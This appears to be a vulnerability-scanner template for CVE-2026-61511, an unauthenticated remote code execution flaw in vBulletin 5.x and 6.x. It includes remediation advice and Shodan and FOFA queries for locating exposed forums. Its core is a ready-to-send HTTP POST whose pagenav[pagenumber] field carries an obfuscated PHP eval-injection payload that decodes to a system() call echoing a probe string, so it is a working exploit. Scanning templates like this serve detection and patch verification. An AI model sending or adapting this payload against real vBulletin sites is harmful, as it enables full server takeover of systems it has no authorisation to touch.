vBulletin 6.x - Remote Code Execution

id: CVE-2026-61511

info:
  name: vBulletin 6.x - Remote Code Execution
  author: alex700,0x_Akoko
  severity: critical
  description: |
    vBulletin 5.x through 5.7.5 and 6.x through 6.2.1 contain an eval injection vulnerability caused by insufficiently restrictive regex filtering in vB5_Template_Runtime::runMaths(), letting unauthenticated remote attackers execute arbitrary PHP code via the pagenav[pagenumber] parameter in ajax/render template route.
  impact: |
    Unauthenticated remote attackers can execute arbitrary PHP code, potentially leading to full system compromise.
  remediation: |
    Update to a version later than 5.7.5 for 5.x and later than 6.2.1 for 6.x or the latest available version.
  reference:
    - https://nvd.nist.gov/vuln/detail/CVE-2026-61511
    - https://github.com/shootcannon/CVE-2026-61511
  classification:
    cve-id: CVE-2026-61511
    epss-score: 0.33995
    epss-percentile: 0.98269
    cwe-id: CWE-94
  metadata:
    max-request: 1
    verified: true
    vendor: vbulletin
    product: vbulletin
    shodan-query: http.favicon.hash:-601665621 http.component:"vBulletin"
    fofa-query: body="Powered by vBulletin"
  tags: cve,cve2026,vbulletin,rce,unauth

http:
  - raw:
      - |
        POST / HTTP/1.1
        Host: {{Hostname}}
        Content-Type: application/x-www-form-urlencoded

        routestring=ajax/render/pagenav&pagenav[pagenumber]=(((((999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999).(9))^((2).(0).(4)))^((8).(6).(((9).(9))^((9).(9)))))((1).(1).(5)).((((999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999).(9))^((2).(0).(4)))^((8).(6).(((9).(9))^((9).(9)))))((1).(2).(1)).((((999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999).(9))^((2).(0).(4)))^((8).(6).(((9).(9))^((9).(9)))))((1).(1).(5)).((((999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999).(9))^((2).(0).(4)))^((8).(6).(((9).(9))^((9).(9)))))((1).(1).(6)).((((999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999).(9))^((2).(0).(4)))^((8).(6).(((9).(9))^((9).(9)))))((1).(0).(1)).((((999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999).(9))^((2).(0).(4)))^((8).(6).(((9).(9))^((9).(9)))))((1).(0).(9)))((((((999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999).(9))^((2).(0).(4)))^((8).(6).(((9).(9))^((9).(9)))))((1).(0).(1)).((((999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999).(9))^((2).(0).(4)))^((8).(6).(((9).(9))^((9).(9)))))((9).(9)).((((999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999).(9))^((2).(0).(4)))^((8).(6).(((9).(9))^((9).(9)))))((1).(0).(4)).((((999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999).(9))^((2).(0).(4)))^((8).(6).(((9).(9))^((9).(9)))))((1).(1).(1)).((((999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999).(9))^((2).(0).(4)))^((8).(6).(((9).(9))^((9).(9)))))((3).(2)).((((999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999).(9))^((2).(0).(4)))^((8).(6).(((9).(9))^((9).(9)))))((1).(1).(8)).((((999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999).(9))^((2).(0).(4)))^((8).(6).(((9).(9))^((9).(9)))))((9).(8)).((((999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999).(9))^((2).(0).(4)))^((8).(6).(((9).(9))^((9).(9)))))((5).(4)).((((999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999).(9))^((2).(0).(4)))^((8).(6).(((9).(9))^((9).(9)))))((1).(1).(4)).((((999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999).(9))^((2).(0).(4)))^((8).(6).(((9).(9))^((9).(9)))))((9).(9)).((((999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999).(9))^((2).(0).(4)))^((8).(6).(((9).(9))^((9).(9)))))((1).(0).(1)).((((999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999).(9))^((2).(0).(4)))^((8).(6).(((9).(9))^((9).(9)))))((1).(1).(2)).((((999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999).(9))^((2).(0).(4)))^((8).(6).(((9).(9))^((9).(9)))))((1).(1).(4)).((((999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999).(9))^((2).(0).(4)))^((8).(6).(((9).(9))^((9).(9)))))((1).(1).(1)).((((999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999).(9))^((2).(0).(4)))^((8).(6).(((9).(9))^((9).(9)))))((9).(8)).((((999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999).(9))^((2).(0).(4)))^((8).(6).(((9).(9))^((9).(9)))))((1).(0).(1))))

    matchers:
      - type: dsl
        dsl:
          - 'status_code == 200'
          - 'contains(body, "vb6rceprobe")'
        condition: and
# digest: 4a0a00473045022010c630f531762a14e246af48007ede7fc4c462d923a9b35e04e3f2c89e8cdbf0022100de32626ea9f5507bf8b23f32d71538177d464985eb4b36d4b07483379b25b95f:922c64590222798bb761d5b6d8e72950